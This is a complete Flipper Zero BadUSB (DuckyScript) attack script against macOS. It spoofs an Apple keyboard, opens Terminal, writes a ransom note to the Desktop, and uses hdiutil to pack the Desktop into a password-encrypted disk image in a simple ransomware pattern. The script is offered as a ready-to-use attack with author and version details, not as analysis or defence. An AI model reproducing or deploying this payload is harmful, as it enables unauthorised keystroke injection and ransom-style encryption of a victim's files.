ID 05ac:021e Apple:Keyboard REM Keep these 3 lines IF (and only if) it's the first time you are performing a badKB attack against a specific macOS target. REM In fact, it helps Flipper Zero bypass the macOS keyboard setup assistant. Otherwise the attack will not start. REM Author: 47LeCoste REM Version 1.0 (Flipper Ducky) REM Target: macOS DELAY 3000 F4 DELAY 1000 STRING Terminal DELAY 200 ENTER DELAY 1000 STRING touch ~/Desktop/>>>>>>>README<<<<<<<.txt && echo "HERE THE MESSAGE. NOW PLEASE DO THIS: BLA BLA BLA. ONLY WITH THE RIGHT PASSWORD YOU CAN UNLOCK ALL THE FILES." > ~/Desktop/>>>>>>>README<<<<<<<.txt && hdiutil create -encryption -stdinpass -srcfolder ~/Desktop -format UDBZ -volname "Encrypted" -exclude ~/Desktop/>>>>>>>README<<<<<<<.txt ~/Desktop/Encrypted.sparsebundle <<< "PASSWORD123" DELAY 5000 ENTER